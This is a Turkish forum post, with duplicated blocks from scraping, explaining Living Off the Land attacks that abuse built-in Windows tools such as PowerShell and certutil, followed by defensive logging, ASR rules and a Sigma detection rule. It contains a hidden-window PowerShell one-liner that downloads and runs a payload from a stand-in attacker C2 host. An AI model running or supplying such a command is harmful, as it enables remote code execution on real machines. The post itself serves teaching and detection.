Sisteminizdeki GÖLGE SAVAŞÇILARI: Living Off the Land (LotL) Sanatı
Antivirüsünüzün Güvendiği Araçlarla Hackleniyorsunuz!
Selamlar, siber güvenlik dünyasının değerli üyeleri,
Bugün, forumumuzun hem yeni meraklılarına hem de tecrübeli "Red Team" ve "Blue Team" uzmanlarına hitap edecek, günümüzün en sinsi ve tespiti en zor saldırı vektörlerinden birini masaya yatırıyoruz: Living Off the Land (LotL).
Eğer "En iyi antivirüsü kurdum, artık güvendeyim" diye düşünüyorsanız, size kötü bir haberim var. Ya saldırganlar virüs kullanmıyorsa? Ya saldırganlar, sizin sistem yöneticinizin her gün kullandığı PowerShell'i, WMI'ı veya Certutil'i kullanıyorsa?
---
Living Off the Land (LotL) Nedir?
Bu bir felsefedir. Bir saldırganın, hedef sisteme dışarıdan hiçbir zararlı yazılım (malware) getirmeden, sistemde halihazırda var olan, meşru ve Microsoft tarafından imzalanmış araçları kullanarak saldırı gerçekleştirmesidir.
Basit Bir Analoji' Alıntı:
Düşünün ki bir kaleye sızmak istiyorsunuz.
Geleneksel Yöntem (Malware): Kendi ordunuzu (virus.exe) getirir, kapıyı koçbaşıyla (exploit) kırar, içeri dalarsınız. Bu gürültülüdür ve herkes sizi görür (AV tespiti).LotL Yöntemi (Sinsi): Kaleye sızarsınız. Hiçbir silah getirmezsiniz. İçerideki cephaneliği kullanır, kale muhafızlarını (PowerShell) kandırarak onlara kapıyı açtırır ve içerideki askerlerin (WMI) size hizmet etmesini sağlarsınız. Kalenin komutanı (Antivirüs) dışarıya baktığında her şey normal görünür, çünkü ortada yabancı bir ordu yoktur.
Basit Bir Analoji' Alıntı:
Düşünün ki bir kaleye sızmak istiyorsunuz.
Geleneksel Yöntem (Malware): Kendi ordunuzu (virus.exe) getirir, kapıyı koçbaşıyla (exploit) kırar, içeri dalarsınız. Bu gürültülüdür ve herkes sizi görür (AV tespiti).
LotL Yöntemi (Sinsi): Kaleye sızarsınız. Hiçbir silah getirmezsiniz. İçerideki cephaneliği kullanır, kale muhafızlarını (PowerShell) kandırarak onlara kapıyı açtırır ve içerideki askerlerin (WMI) size hizmet etmesini sağlarsınız. Kalenin komutanı (Antivirüs) dışarıya baktığında her şey normal görünür, çünkü ortada yabancı bir ordu yoktur.
Neden APT Grupları ve Profesyoneller Bu Yöntemi Tercih Ediyor?[/HEADING=3]
- Görünmezlik (Stealth): Çoğu EDR (Endpoint Detection and Response) ve AV çözümü, `powershell.exe`'nin çalışmasına izin vermek zorundadır. Bu araçları engellemek, işletim sisteminin kendisini bozmak demektir.
- İz Bırakmama (Fileless): LotL saldırıları genellikle "dosyasız" (fileless) olarak anılır. Saldırı diske bir `.exe` dosyası yazmak yerine çoğunlukla hafızada (RAM) gerçekleşir. Sistem yeniden başladığında kanıtların çoğu yok olur.
- Güvenilirlik Filtresini Aşma: Kullanılan tüm araçlar (`wmic.exe`, `certutil.exe`, `bitsadmin.exe` vb.) Microsoft imzalıdır. Bu, en temel güvenlik filtrelerini (imza tabanlı kontroller) doğrudan aşmalarını sağlar.
---
Saldırganın Gözde Oyuncakları (LOLBAS Projesi)
Bu o kadar yaygın bir tekniktir ki, bu meşru araçların kötüye kullanımını belgeleyen devasa bir proje vardır: LOLBAS (Living Off the Land Binaries and Scripts).
Aşağıda, bir sistem yöneticisi için "iş aracı", bir hacker için "silah" olan en popüler LOLBAS araçlarından bazılarını ve TTP (Taktik, Teknik, Prosedür) örneklerini görebilirsiniz:
Araç (Binary) Meşru Kullanım Kötü Amaçlı Kullanım (Örnek TTP) powershell.exeSistem yönetimi, otomasyon, script çalıştırma. Fileless Kod Çalıştırma (C2): Diske dokunmadan C2 sunucusundan komut alıp hafızada çalıştırma. (Örn: `IEX (New-Object Net.WebClient).DownloadString(...)`) certutil.exeWindows sertifika servislerini yönetme. Payload İndirme: Antivirüslerin ağ taramasından kaçmak için `-urlcache -f` parametreleri ile internetten zararlı dosya indirme. wmic.exeWMI (Windows Yönetim Araçları) sorguları yapma. Yanal Hareket (Lateral Movement): Ağdaki diğer makinelere sızmak için `process call create` komutuyla uzaktan kod çalıştırma. bitsadmin.exeWindows güncellemeleri gibi arka plan transferleri. Veri Sızdırma (Exfiltration): Hedef sistemden çalınan verileri, "meşru bir güncelleme trafiği" gibi göstererek C2 sunucusuna yükleme. mshta.exeHTML uygulamalarını (.hta) çalıştırma. Oltalama (Phishing): Kullanıcıya zararlı bir HTA dosyası açtırarak, doğrudan VBScript veya JScript kodlarını AV'yi atlatarak çalıştırma. regsvr32.exeDLL kütüphanelerini kaydetme. Proxy Execution: Doğrudan çalıştırılamayan zararlı scriptlet'leri (örn: `scrobj.dll`) uzaktaki bir sunucudan çağırıp çalıştırma.
| Araç (Binary) | Meşru Kullanım | Kötü Amaçlı Kullanım (Örnek TTP) | |||
|---|---|---|---|---|---|
powershell.exe | Sistem yönetimi, otomasyon, script çalıştırma. | Fileless Kod Çalıştırma (C2): Diske dokunmadan C2 sunucusundan komut alıp hafızada çalıştırma. (Örn: `IEX (New-Object Net.WebClient).DownloadString(...)`) | |||
certutil.exe | Windows sertifika servislerini yönetme. | Payload İndirme: Antivirüslerin ağ taramasından kaçmak için `-urlcache -f` parametreleri ile internetten zararlı dosya indirme. | |||
wmic.exe | WMI (Windows Yönetim Araçları) sorguları yapma. | Yanal Hareket (Lateral Movement): Ağdaki diğer makinelere sızmak için `process call create` komutuyla uzaktan kod çalıştırma. | |||
bitsadmin.exe | Windows güncellemeleri gibi arka plan transferleri. | Veri Sızdırma (Exfiltration): Hedef sistemden çalınan verileri, "meşru bir güncelleme trafiği" gibi göstererek C2 sunucusuna yükleme. | |||
mshta.exe | HTML uygulamalarını (.hta) çalıştırma. | Oltalama (Phishing): Kullanıcıya zararlı bir HTA dosyası açtırarak, doğrudan VBScript veya JScript kodlarını AV'yi atlatarak çalıştırma. | regsvr32.exe | DLL kütüphanelerini kaydetme. | Proxy Execution: Doğrudan çalıştırılamayan zararlı scriptlet'leri (örn: `scrobj.dll`) uzaktaki bir sunucudan çağırıp çalıştırma. |
</TR>
[TR]
</TABLE>
Teknik Örnek: PowerShell ile "Fileless" Saldırı[/HEADING=3]
Yeni başlayan arkadaşlar için: Aşağıdaki kod, bir saldırganın tek satırda nasıl tam kontrol alabileceğini gösteren korkutucu bir örnektir.
Kod:
[/HEADING]
[HEADING=3]# BU KOD SADECE EĞİTİM AMAÇLIDIR![/HEADING]
[HEADING=3]#[/HEADING]
[HEADING=3]# 1. -nop (NoProfile): Kullanıcı profillerini yüklemez (tespiti zorlaştırır).[/HEADING]
[HEADING=3]# 2. -W Hidden (WindowStyle Hidden): Pencereyi gizler, kullanıcı hiçbir şey görmez.[/HEADING]
[HEADING=3]# 3. IEX (Invoke-Expression): En tehlikeli komutlardan biri. Metin olarak aldığı şeyi kod olarak çalıştırır.[/HEADING]
[HEADING=3]# 4. DownloadString: Bir web sitesindeki metni (bizim örneğimizde zararlı .ps1 script'i) indirir.[/HEADING]
[HEADING=3]#[/HEADING]
[HEADING=3]# Sonuç: Diske HİÇBİR ŞEY yazılmadan, saldırganın script'i doğrudan hafızada çalışır.[/HEADING]
[HEADING=3][/HEADING]
[HEADING=3]powershell.exe -nop -W Hidden "IEX (New-Object Net.WebClient).DownloadString('http://saldırgan-c2-sunucusu.com/payload.ps1')"[/HEADING]
[HEADING=3]
Kod:
[/HEADING]
[HEADING=3]# BU KOD SADECE EĞİTİM AMAÇLIDIR![/HEADING]
[HEADING=3]#[/HEADING]
[HEADING=3]# 1. -nop (NoProfile): Kullanıcı profillerini yüklemez (tespiti zorlaştırır).[/HEADING]
[HEADING=3]# 2. -W Hidden (WindowStyle Hidden): Pencereyi gizler, kullanıcı hiçbir şey görmez.[/HEADING]
[HEADING=3]# 3. IEX (Invoke-Expression): En tehlikeli komutlardan biri. Metin olarak aldığı şeyi kod olarak çalıştırır.[/HEADING]
[HEADING=3]# 4. DownloadString: Bir web sitesindeki metni (bizim örneğimizde zararlı .ps1 script'i) indirir.[/HEADING]
[HEADING=3]#[/HEADING]
[HEADING=3]# Sonuç: Diske HİÇBİR ŞEY yazılmadan, saldırganın script'i doğrudan hafızada çalışır.[/HEADING]
[HEADING=3][/HEADING]
[HEADING=3]powershell.exe -nop -W Hidden "IEX (New-Object Net.WebClient).DownloadString('http://saldırgan-c2-sunucusu.com/payload.ps1')"[/HEADING]
[HEADING=3]
---
SAVUNMA CEPHESİ (Blue Team): Sığınağı Güçlendirmek
Peki, bu kadar sinsi bir düşmana karşı ne yapacağız? Madem araçları engelleyemiyoruz, o zaman davranışlarını izleyeceğiz.
1. Görünürlük (Visibility) Şart: Her Şeyi Loglayın![/HEADING=3]
Göremediğiniz şeyi avlayamazsınız.
- PowerShell Script Block Logging (Zorunlu!): PowerShell'de çalışan her script bloğunu (karartılmış olanlar dahil) loglar. (Grup İlkesi > Windows Components > Windows PowerShell)
- Gelişmiş Komut Satırı Loglaması (Event ID 4688): Hangi prosesin (örn: `Winword.exe`) hangi prosesi (örn: `powershell.exe`) hangi parametrelerle çalıştırdığını loglar.
- Sysmon Kurulumu: Microsoft'un ücretsiz Sysmon aracı, bu tür saldırıları yakalamak için biçilmiş kaftandır.
Sysmon Event ID 1 (Process Creation): Hangi prosesin kim tarafından, hangi parametrelerle başlatıldığını gösterir.
Sysmon Event ID 3 (Network Connection): `powershell.exe` veya `certutil.exe` gibi beklenmedik proseslerin internete (özellikle C2 IP'lerine) çıkışını yakalar.
Sysmon Event ID 10 (Process Access): Bir prosesin başka bir prosesin hafızasını okumaya çalışmasını (örn: `lsass.exe`'ten parola çalma) yakalar.
Sysmon Event ID 1 (Process Creation): Hangi prosesin kim tarafından, hangi parametrelerle başlatıldığını gösterir.
Sysmon Event ID 3 (Network Connection): `powershell.exe` veya `certutil.exe` gibi beklenmedik proseslerin internete (özellikle C2 IP'lerine) çıkışını yakalar.
Sysmon Event ID 10 (Process Access): Bir prosesin başka bir prosesin hafızasını okumaya çalışmasını (örn: `lsass.exe`'ten parola çalma) yakalar.
Sysmon Event ID 3 (Network Connection): `powershell.exe` veya `certutil.exe` gibi beklenmedik proseslerin internete (özellikle C2 IP'lerine) çıkışını yakalar.
Sysmon Event ID 10 (Process Access): Bir prosesin başka bir prosesin hafızasını okumaya çalışmasını (örn: `lsass.exe`'ten parola çalma) yakalar.
2. Saldırı Yüzeyini Azaltma (Attack Surface Reduction - ASR)[/HEADING=3]
Sadece loglamak yetmez, proaktif olarak engellemek gerekir. Windows 10/11'in modern güvenlik özellikleri burada devreye girer.
Microsoft Defender'ın ASR kuralları, LotL için özel olarak tasarlanmıştır. Örneğin:
- "Block Office applications from creating child processes" (Word'ün PowerShell çalıştırmasını engeller)
- "Block execution of potentially obfuscated scripts" (Karartılmış script'leri engeller)
- "Block WMI event subscription" (WMI üzerinden kalıcılık sağlamayı engeller)
3. Tehdit Avcılığı (Threat Hunting) ve Korelasyon
Elinizdeki logları bir SIEM (Security Information and Event Management) aracında toplayıp korelasyon kuralları yazmalısınız.
Örnek Tehdit Avı (Hunting) Kuralı' Alıntı:
Kural: "Bir Office Uygulamasının (Word, Excel, Outlook) alt proses (child process) olarak `powershell.exe`, `wmic.exe`, `cmd.exe` veya `certutil.exe` başlatması"
Örnek Tehdit Avı (Hunting) Kuralı' Alıntı:
Kural: "Bir Office Uygulamasının (Word, Excel, Outlook) alt proses (child process) olarak `powershell.exe`, `wmic.exe`, `cmd.exe` veya `certutil.exe` başlatması"
Sonuç: YÜKSEK ÖNCELİKLİ ALARM!Bu, neredeyse her zaman bir oltalama saldırısının başarılı olduğu anlamına gelir.
---
Tartışma Zamanı: Siz Ne Düşünüyorsunuz?
Bu konunun ucu bucağı yok. Şimdi söz sizde.
Deneyimli Meslektaşlarıma ve Red Team'cilerime:
- Sahada en çok hangi LOLBAS aracının (binary) istismar edildiğini görüyorsunuz?
- Sizin favori "undetected" LotL tekniğiniz nedir?
- Blue Team'i en çok zorlayan, tespiti zor TTP'leriniz hangileri?
Meraklı Yeni Başlayanlara ve Blue Team'e Gönül Verenlere:
- Bu "dosyasız" saldırı konsepti aklınıza yattı mı?
- Hangi savunma mekanizmasının (örn: Sysmon, ASR) nasıl kurulacağı hakkında daha fazla detay istersiniz?
- Anlamadığınız, "Bu nasıl olabilir?" dediğiniz bir nokta var mı?
Profesyonel dünyada bu teknikler nasıl sınıflandırılıyor merak ediyorsanız, MITRE ATT&CK matrisini inceleyin. LotL, "Execution" (Çalıştırma) ve "Defense Evasion" (Savunmadan Kaçınma) taktiklerinin temelidir.
- T1059.001: PowerShell
- T1047: WMI
- T1105: Ingress Tool Transfer (certutil, bitsadmin)
---
SON SÖZ VE BONUS İÇERİK
Bu konuyu okuyup, fikir alışverişine katıldığınız için teşekkür ederim. Bu tür sinsi tehditleri tespit etmek, tek bir araca güvenmekten değil, katmanlı bir savunma ve sürekli merak (tehdit avcılığı) felsefesinden geçer.
LotL saldırılarını tespit etmek için kullanabileceğiniz en iyi ücretsiz kural setlerinden (Sigma Rules) bir örneğe aşağıda göz atabilirsiniz:
Bonus: Sigma Kuralı Örneği
LotL ve diğer TTP'leri SIEM sisteminizden bağımsız olarak (Splunk, Elastic, QRadar fark etmez) tespit etmek için Sigma Rules projesi harikadır.
Aşağıda, "certutil.exe" kullanılarak dosya indirilmesini tespit eden basit bir Sigma kuralının konseptini bulabilirsiniz. Blue Team'ci arkadaşlar bu kuralı alıp kendi SIEM'lerine uyarlayabilir.
YAML:
[/HEADING]
[HEADING=3]title: Certutil ile Dosya İndirme Tespiti[/HEADING]
[HEADING=3]id: xxxxx-xxxx-xxxx[/HEADING]
[HEADING=3]status: stable[/HEADING]
[HEADING=3]description: 'certutil.exe aracının -urlcache -f parametreleri ile internetten dosya indirme girişimini tespit eder. Bu, LOLBAS tekniğidir.'[/HEADING]
[HEADING=3]references:[/HEADING]
[HEADING=3]- https://lolbas-project.github.io/lolbas/Binaries/Certutil/[/HEADING]
[HEADING=3]author: 'Sizin Adınız'[/HEADING]
[HEADING=3]date: 2025/11/13[/HEADING]
[HEADING=3]logsource:[/HEADING]
[HEADING=3]product: windows[/HEADING]
[HEADING=3]category: process_creation[/HEADING]
[HEADING=3]detection:[/HEADING]
[HEADING=3]selection_img:[/HEADING]
[HEADING=3]Image|endswith: '\certutil.exe'[/HEADING]
[HEADING=3]selection_cli:[/HEADING]
[HEADING=3]CommandLine|contains|all:[/HEADING]
[HEADING=3]- '-urlcache'[/HEADING]
[HEADING=3]- '-f'[/HEADING]
[HEADING=3]- 'http' # http veya https[/HEADING]
[HEADING=3]condition: selection_img and selection_cli[/HEADING]
[HEADING=3]falsepositives:[/HEADING]
[HEADING=3]- Çok nadir durumlarda meşru kullanım olabilir, analiz edilmeli.[/HEADING]
[HEADING=3]level: high[/HEADING]
[HEADING=3]
YAML:
[/HEADING]
[HEADING=3]title: Certutil ile Dosya İndirme Tespiti[/HEADING]
[HEADING=3]id: xxxxx-xxxx-xxxx[/HEADING]
[HEADING=3]status: stable[/HEADING]
[HEADING=3]description: 'certutil.exe aracının -urlcache -f parametreleri ile internetten dosya indirme girişimini tespit eder. Bu, LOLBAS tekniğidir.'[/HEADING]
[HEADING=3]references:[/HEADING]
[HEADING=3]- https://lolbas-project.github.io/lolbas/Binaries/Certutil/[/HEADING]
[HEADING=3]author: 'Sizin Adınız'[/HEADING]
[HEADING=3]date: 2025/11/13[/HEADING]
[HEADING=3]logsource:[/HEADING]
[HEADING=3]product: windows[/HEADING]
[HEADING=3]category: process_creation[/HEADING]
[HEADING=3]detection:[/HEADING]
[HEADING=3]selection_img:[/HEADING]
[HEADING=3]Image|endswith: '\certutil.exe'[/HEADING]
[HEADING=3]selection_cli:[/HEADING]
[HEADING=3]CommandLine|contains|all:[/HEADING]
[HEADING=3]- '-urlcache'[/HEADING]
[HEADING=3]- '-f'[/HEADING]
[HEADING=3]- 'http' # http veya https[/HEADING]
[HEADING=3]condition: selection_img and selection_cli[/HEADING]
[HEADING=3]falsepositives:[/HEADING]
[HEADING=3]- Çok nadir durumlarda meşru kullanım olabilir, analiz edilmeli.[/HEADING]
[HEADING=3]level: high[/HEADING]
[HEADING=3]
Bu kuralları ve mantığı kullanarak, görünmezi görünür kılabilirsiniz.
Moderatör tarafında düzenlendi:

